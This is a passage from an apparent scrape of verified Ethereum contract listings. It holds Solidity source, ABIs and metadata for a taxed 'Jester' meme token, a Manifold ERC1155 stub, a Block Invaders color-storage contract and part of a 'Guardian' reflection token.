amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function reduceFee(uint256 _newFee) external{ require(_msgSender()==_taxWallet); require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax); _finalBuyTax=_newFee; _finalSellTax=_newFee; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.20+commit.a1b79de6

Default

MIT

Jester

JESTER.sol

0x5693d26a6037b72866445c09e1acf10454e5d884

Solidity

/** TG: https://t.me/jestereth Dont be a fool and miss on Jester #JESTER **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval (address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Jester is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 firstBlock; uint256 private _initialBuyTax=21; uint256 private _initialSellTax=21; uint256 private _finalBuyTax=1; uint256 private _finalSellTax=1; uint256 private _reduceBuyTaxAt=24; uint256 private _reduceSellTaxAt=28; uint256 private _preventSwapBefore=20; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000 * 10**_decimals; string private constant _name = unicode"Jester"; string private constant _symbol = unicode"Jester"; uint256 public _maxTxAmount = 2000000 * 10**_decimals; uint256 public _maxWalletSize = 2000000 * 10**_decimals; uint256 public _taxSwapThreshold= 1000000 * 10**_decimals; uint256 public _maxTaxSwap= 1000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; firstBlock = block.number; } receive() external payable {} }

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v0.8.20+commit.a1b79de6

Default

CRSTL

contracts/CRSTL.sol

0xc3f6e67b9b04033cdcc3f118bbe02662b37dc847

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Alpha Crystal /// @author: manifold.xyz import "./manifold/ERC1155Creator.sol"; ///////////////////////// // // // // // ✧･ﾟ: * ✧･ﾟ:* // // .・゜゜・ // // ｡･ﾟﾟ･ // // // // // ///////////////////////// contract CRSTL is ERC1155Creator { constructor() ERC1155Creator("Alpha Crystal", "CRSTL") {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.17+commit.8df45f5f

Default

0xe9ff7ca11280553af56d04ecb8be6b8c4468dcb2

BlockInvadersCargoShip

/contracts/BlockInvadersCargoShip.sol

0xf5609a5887e4c3eb382d16c001a8453f0ecef707

Solidity

pragma solidity 0.8.6; // SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; // // // /// // //////// // ///////////// // ////////////////// // /////////////////////// // //////////////////////////// // &&&&&&&&& //////////////////////// &&&&&&&&&& // /////////////////// // &&&&&&&&&&& ////////////// &&&&&&&&&&&& // &&&&&&&&&&&&&& ///////// &&&&&&&&&&&&&&& // &&&&&& //// &&&&&&& // &&&&&&& &&&&&&& // &&&&& &&&&&& &&&&&&& &&&&& // &&&&& &&&&&&&&&&&&&& &&&&& // &&&&& &&&&&&&&& &&&&& // &&&&& &&&& &&&&& // &&&&& &&&&& // &&&&& &&&&& // &&&&&& // && // // // &&& &&&&& && // && && && && && // && && &&&&&&& && // && && &&& && && // &&& &&&& && && // //======================================================================== // ONCHAIN BLOCK INVADERS - Upgradable Colors Storage contract contract BlockInvadersCargoShip is Ownable { struct paintStruct{ string[] eyesColor; string[] color; string[] backgroundColor; string[] colName; string effect; string chromaName; } mapping(uint256 => paintStruct) paint; event ColorStorred(); constructor() Ownable() { //Light Pallete paint[0].eyesColor = ["JyM3NkE3QjMn", "JyNDM0U2REEn", "JyM3RjlBQzYn", "JyM4NjhCQjAn", "JyNEQkI2QUQn", "JyNGRkFDOTkn", "JyNGRkU4OTgn", "JyNFNjY1NEMn"]; paint[0].colName = ["U2lsdmVy", "RGVzZXJ0", "U2VycGVudGluZSAg", "U29saXMg", "SmFkZSAg", "Q29iYWx0", "T2NlYW4g", "RW1lcmFsZCAg", "SmFzcGVy", "SW5kaWdv", "QXNo", "VGl0YW5pdW0g", "Q2FyYm9u", "U2NhcmxldCAg", "Q29yYWwg", "QnJhc3Mg", "QXp1cmUg", "Q3JpbXNvbiAg"]; paint[0].color = ["JyNkOGUyZWIn", "JyNEQkI2QUQn", "JyM3QUI4QjIn", "JyNmYWQ5OGMn", "JyM2RTlDQTYn", "JyM3MDgzQUYn", "JyM1MDczOEYn", "JyNiOGQ5Y2Un", "JyNDRkFDQTMn", "JyM3Mzc3OTcn", "JyM5NDkzOEYn", "JyM3MzdCOEIn", "JyNDNkNDQ0Yn", "JyNmMmEzOTEn", "JyNGNENEQ0Qn", "JyNDQ0MzQUYn", "JyM3RjlBQzYn", "JyNEODYxNDgn"]; paint[0].backgroundColor = ["JyNmNGU0ZDYn", "JyNlYWViZTUn", "JyNGMEVCRTkn", "JyNGREVERTcn", "JyNGMEUzRTMn", "JyNFQ0YyRkIn", "JyNGREZERTgn", "JyNGMkYyRjIn"]; paint[0].effect = "PGZpbHRlciBpZD0nbmVvbicgeT0nLTInIHg9Jy0xJyB3aWR0aD0nMzUwJyBoZWlnaHQ9JzM1MCc+PGZlRHJvcFNoYWRvdyBmbG9vZC1jb2xvcj0nIzhBNzk1RCcgZHg9JzAnIGR5PSc2JyBmbG9vZC1vcGFjaXR5PScwLjY1JyBzdGREZXZpYXRpb249JzIuNScgcmVzdWx0PSdzaGFkb3cnLz48ZmVPZmZzZXQgaW49J1N0cm9rZVBhaW50JyBkeD0nMCcgZHk9JzIuNCcgcmVzdWx0PSdvZmZTdHJQbnQnLz48ZmVGbG9vZCBmbG9vZC1jb2xvcj0nIzRBNDEzMicgZmxvb2Qtb3BhY2l0eT0nMicgcmVzdWx0PSdmbG9vZDEnIC8+PGZlT2Zmc2V0IGluPSdTb3VyY2VHcmFwaGljJyBkeD0nMCcgZHk9JzInIHJlc3VsdD0nb2ZmRmxvb2QnLz48ZmVPZmZzZXQgaW49J1NvdXJjZUdyYXBoaWMnIGR4PScwJyBkeT0nOScgcmVzdWx0PSdvZmZTaGFkb3cnLz48ZmVDb21wb3NpdGUgaW49J2Zsb29kMScgaW4yPSdvZmZGbG9vZCcgb3BlcmF0b3I9J2luJyAgcmVzdWx0PSdjbXBGbG9vZCcgLz48ZmVDb21wb3NpdGUgaW49J3NoYWRvdycgaW4yPSdvZmZTaGFkb3cnIG9wZXJhdG9yPSdpbicgcmVzdWx0PSdjbXBTaGEnIC8+PGZlR2F1c3NpYW5CbHVyIGluPSdvZmZTdHJQbnQnIHN0ZERldmlhdGlvbj0nMScgcmVzdWx0PSdiU3Ryb2tlUCcvPjxmZUdhdXNzaWFuQmx1ciBpbj0nY21wRmxvb2QnIHN0ZERldmlhdGlvbj0nMC42JyByZXN1bHQ9J2JGbG9vZCcvPjxmZUdhdXNzaWFuQmx1ciBpbj0nY21wU2hhJyBzdGREZXZpYXRpb249JzAuNicgcmVzdWx0PSdiU2hhZG93Jy8+PGZlTWVyZ2U+PGZlTWVyZ2VOb2RlIGluPSdiU3Ryb2tlUCcvPjxmZU1lcmdlTm9kZSBpbj0nYnNoYWRvdycvPjxmZU1lcmdlTm9kZSBpbj0nYkZsb29kJy8+PGZlTWVyZ2VOb2RlIGluPSdTb3VyY2VHcmFwaGljJy8+PC9mZU1lcmdlPjwvZmlsdGVyPiAg"; //Light side paint[0].chromaName = 'TGlnaHQgU2lkZSAg'; } function isCargoShip() external pure returns (bool) {return true;} function loadChroma(string memory _chromaName,string[] memory _eyesColor,string[] memory _color,string[] memory _bkpcolor,string[] memory _colName,string memory _effect,uint256 idx ) external onlyOwner { paint[idx].eyesColor = _eyesColor; paint[idx].color = _color; paint[idx].backgroundColor = _bkpcolor; paint[idx].colName = _colName; paint[idx].effect = _effect; paint[idx].chromaName = _chromaName; emit ColorStorred(); } function unloadChroma(uint256 idx) external view returns (string[] memory,string[] memory,string[] memory,string[] memory,string memory,string memory){ return (paint[idx].eyesColor,paint[idx].color,paint[idx].backgroundColor,paint[idx].colName,paint[idx].effect,paint[idx].chromaName); } }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"ColorStorred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[],"name":"isCargoShip","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"string","name":"_chromaName","type":"string"},{"internalType":"string[]","name":"_eyesColor","type":"string[]"},{"internalType":"string[]","name":"_color","type":"string[]"},{"internalType":"string[]","name":"_bkpcolor","type":"string[]"},{"internalType":"string[]","name":"_colName","type":"string[]"},{"internalType":"string","name":"_effect","type":"string"},{"internalType":"uint256","name":"idx","type":"uint256"}],"name":"loadChroma","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"idx","type":"uint256"}],"name":"unloadChroma","outputs":[{"internalType":"string[]","name":"","type":"string[]"},{"internalType":"string[]","name":"","type":"string[]"},{"internalType":"string[]","name":"","type":"string[]"},{"internalType":"string[]","name":"","type":"string[]"},{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]

v0.8.6+commit.11564f7e

Default

Guardian

contracts/Guardian.sol

0x16c525c7cd751c19adf26f39118154d7c4bd0088

Solidity

pragma solidity ^0.8.2; // (Uni|Pancake)Swap libs are interchangeable /* For lines that are marked ERC20 Token Standard, learn more at https://eips.ethereum.org/EIPS/eip-20. */ contract ExtendedReflections is Context, IERC20, Ownable { // Keeps track of balances for address that are included in receiving reward. mapping (address => uint256) private _reflectionBalances; // Keeps track of balances for address that are excluded from receiving reward. mapping (address => uint256) private _tokenBalances; // Keeps track of which address are excluded from fee. mapping (address => bool) private _isExcludedFromFee; // Keeps track of which address are excluded from reward. mapping (address => bool) private _isExcludedFromReward; // An array of addresses that are excluded from reward. address[] private _excludedFromReward; // ERC20 Token Standard mapping (address => mapping (address => uint256)) private _allowances; // Liquidity pool provider router IUniswapV2Router02 internal _uniswapV2Router; // This Token and WETH pair contract address. address internal _uniswapV2Pair; // Where burnt tokens are sent to. This is an address that no one can have accesses to. address private constant burnAccount = 0x000000000000000000000000000000000000dEaD; address public marketingAddress; /* Tax rate = (_taxXXX / 10**_tax_XXXDecimals) percent. For example: if _taxBurn is 1 and _taxBurnDecimals is 2. Tax rate = 0.01% If you want tax rate for burn to be 5% for example, set _taxBurn to 5 and _taxBurnDecimals to 0. 5 * (10 ** 0) = 5 */ // Decimals of taxBurn. Used for have tax less than 1%. uint32 private _taxBurnDecimals; // Decimals of taxReward. Used for have tax less than 1%. uint32 private _taxRewardDecimals; // Decimals of taxMarketing. Used for have tax less than 1%. uint32 private _taxMarketingDecimals; // This percent of a transaction will be burnt. uint32 private _taxBurn; // This percent of a transaction will be redistribute to all holders. uint32 private _taxReward; // This percent of a transaction will be transferred to Marketing wallet. uint32 private _taxMarketing; // ERC20 Token Standard uint32 private _decimals; // ERC20 Token Standard uint256 private _totalSupply; // Current supply:= total supply - burnt tokens uint256 private _currentSupply; // A number that helps distributing fees to all holders respectively. uint256 private _reflectionTotal; // Total amount of tokens rewarded / distributing. uint256 private _totalRewarded; // Total amount of tokens burnt. uint256 private _totalBurnt; // A threshold for swap. uint256 private _minTokensBeforeSwap; // ERC20 Token Standard string private _name; // ERC20 Token Standard string private _symbol; // Whether a previous call of swap process is still in process. bool private _inSwap; bool private _autoBurnEnabled; bool private _rewardEnabled; bool private _marketingRewardEnabled; // Prevent reentrancy. modifier lockTheSwap { require(!_inSwap, "Currently in swap."); _inSwap = true; _; _inSwap = false; } // Return values of _getValues function. struct ValuesFromAmount { // Amount of tokens for to transfer. uint256 amount; // Amount tokens charged for burning. uint256 tBurnFee; // Amount tokens charged to reward. uint256 tRewardFee; uint256 tMarketingFee; // Amount tokens after fees. uint256 tTransferAmount; // Reflection of amount. uint256 rAmount; // Reflection of burn fee. uint256 rBurnFee; // Reflection of reward fee. uint256 rRewardFee; uint256 rMarketingFee; // Reflection of transfer amount. uint256 rTransferAmount; } /* Events */ event Burn(address from, uint256 amount); event MinTokensBeforeSwapUpdated(uint256 previous, uint256 current); event MarketingAddressUpdated(address previous, address current); event AMMPairUpdated(address pair, bool value); event ExcludeAccountFromReward(address account); event IncludeAccountInReward(address account); event ExcludeAccountFromFee(address account); event IncludeAccountInFee(address account); event EnabledAutoBurn(); event EnabledReward(); event EnabledMarketingReward(); event DisabledAutoBurn(); event DisabledReward(); event DisabledMarketingReward(); event Airdrop(uint256 amount); constructor (string memory name_, string memory symbol_, uint32 decimals_, uint256 tokenSupply_) { // Sets the values for `name`, `symbol`, `totalSupply`, `currentSupply`, and `rTotal`. _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = tokenSupply_ * (10 ** decimals_); _currentSupply = _totalSupply; _reflectionTotal = (~uint256(0) - (~uint256(0) % _totalSupply)); // Mint _reflectionBalances[_msgSender()] = _reflectionTotal; // exclude owner and this contract from fee. excludeAccountFromFee(owner()); excludeAccountFromFee(address(this)); // exclude owner, burnAccount, and this contract from receiving rewards. excludeAccountFromReward(owner()); excludeAccountFromReward(burnAccount); excludeAccountFromReward(address(this)); emit Transfer(address(0), _msgSender(), _totalSupply); } // allow the contract to receive ETH receive() external payable {} /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint32) { return _decimals; } /** * @dev Returns the address of this token and WETH pair. */ function uniswapV2Pair() public view virtual returns (address) { return _uniswapV2Pair; } /** * @dev Returns the current burn tax decimals. */ function taxBurnDecimals() public view virtual returns (uint32) { return _taxBurnDecimals; } /** * @dev Returns the current reward tax decimals. */ function taxRewardDecimals() public view virtual returns (uint32) { return _taxRewardDecimals; } /** * @dev Returns the current marketing tax decimals. */ function taxMarketingDecimals() public view virtual returns (uint32) { return _taxMarketingDecimals; } /** * @dev Returns the current burn tax. */ function taxBurn() public view virtual returns (uint32) { return _taxBurn; } /** * @dev Returns the current reward tax. */ function taxReward() public view virtual returns (uint32) { return _taxReward; } /** * @dev Returns the current marketing tax. */ function taxMarketing() public view virtual returns (uint32) { return _taxMarketing; } /** * @dev Returns true if auto burn feature is enabled. */ function autoBurnEnabled() public view virtual returns (bool) { return _autoBurnEnabled; } /** * @dev Returns true if reward feature is enabled. */ function rewardEnabled() public view virtual returns (bool) { return _rewardEnabled; } function marketingRewardEnabled() public view virtual returns (bool) { return _marketingRewardEnabled; } /** * @dev Returns the threshold before swap. */ function minTokensBeforeSwap() external view virtual returns (uint256) { return _minTokensBeforeSwap; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev Returns current supply of the token. * (currentSupply := totalSupply - totalBurnt) */ function currentSupply() external view virtual returns (uint256) { return _currentSupply; } /** * @dev Returns the total number of tokens burnt. */ function totalBurnt() external view virtual returns (uint256) { return _totalBurnt; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { if (_isExcludedFromReward[account]) return _tokenBalances[account]; return tokenFromReflection(_reflectionBalances[account]); } /** * @dev Returns whether an account is excluded from reward. */ function isExcludedFromReward(address account) external view returns (bool) { return _isExcludedFromReward[account]; } /** * @dev Returns whether an account is excluded from fee. */ function isExcludedFromFee(address account) external view returns (bool) { return _isExcludedFromFee[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { 